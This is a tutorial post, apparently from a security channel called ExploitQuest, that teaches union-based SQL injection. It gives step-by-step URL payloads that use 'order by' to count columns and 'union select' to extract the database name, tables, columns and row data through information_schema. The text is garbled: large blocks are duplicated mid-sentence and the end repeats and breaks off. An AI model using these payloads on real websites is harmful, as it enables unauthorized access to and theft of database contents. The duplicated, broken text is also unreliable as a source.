ExploitQuest

💭 Union based:

Look, when you make a request to a URL, there are three modes: (if it interacts with SQL)

1- To return an answer to you
(For example, when buying from a bookstore, it will tell you how many of these books are available)

2- To return a result of the answer to you

(For example, in the same example above, instead of telling you the number, just tell you whether this book is available or not)

3- That no result comes back to you.
(For example, you sent a GET or POST request and now the website asks you to allow it to save ip, cookie, user agent, .. otherwise you will not be allowed to work with the site.

How do we know if we have a union?
If the URL is:

https://site.com?news=22

The following query is sent to the
database:

select * from news where news_id = $newsid;

select * from news where news_id = '$newsid';

select * from news where news_id = "$newsid";

Now, to determine if there is Union 💭 Union based:

Look, when you make a request to a URL, there are three modes: (if it interacts with SQL)

1_ To return an answer to you
(For example, when buying from a bookstore, it will tell you how many of these books are available)

2_ To return a result of the answer to you

(For example, in the same example above, instead of telling you the number, just tell you whether this book is available or not)

3- That no result comes back to you.
(For example, you sent a GET or POST request and now the website asks you to allow it to save ip, cookie, user agent, .. otherwise you will not be allowed to work with the site.

How do we know if we have a union?
If the URL is:

https://site.com?news=22

The following query is sent to the database:

select * from news where news_id = $newsid;

select * from news where news_id = '$newsid';

select * from news where news_id = "$newsid";

Now, to determine if there is Union or not, we have:

With order by, you can extract the number of columns in a database.

Default request:

page/?id=54

Test 1:

page/?id=54 order by 1
page/?id=54' order by 1 #
page/?id=54" order by 1 #

Test 2:

page/?id=54 order by 1000
page/?id=54' order by 1000#
page/?id=54" order by 1000#

Above if:

Default == Test 1

And also
Test 1 != Test 2

We understand that we have Union (:
Now how to extract the information?
The first step is to get the number of columns
And we can find as follows:

page/?id=54 order by 1 # same as

default request

page/?id=54 order by 2 # same as

default request

page/?id=54 order by 3 # same as

default request

page/?id=54 order by 4 #

not same as Default
So we understand that we have 3 columns

Now with:

page/?id=54 union select 1,2,3 #

We can find the column that returns to us and run our own payloads in it to get data:

For example, to get the database name:
(if it returns the third column)

page/?id=54 union select 1,2,database()#

To get the tables of a database:

page/?id=54 UNION SELECT table_name FROM information_schema.tables WHERE table_schema = 'your_database_name' --

To get the columns of a database and a table:

UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'your_table_name' AND table_schema = 'your_database_name' --

And to get data, we have a column:

UNION SELECT your_column_name FROM your_table_name LIMIT 1 OFFSET 0 --

#SQLIor not, we have:

With order by, you can extract the number of columns in a database.

Default request:

page/?id=54

Test 1:

page/?id=54 order by 1
page/?id=54' order by 1 #
page/?id=54" order by 1 #

Test 2:

page/?id=54 order by 1000
page/?id=54' order by 1000#
page/?id=54" order by 1000#

Above if
Default == Test 1

And also
Test 1 != Test 2

We understand that we have Union (:
Now how to extract the information?
The first step is to get the number of columns
And we can find as follows: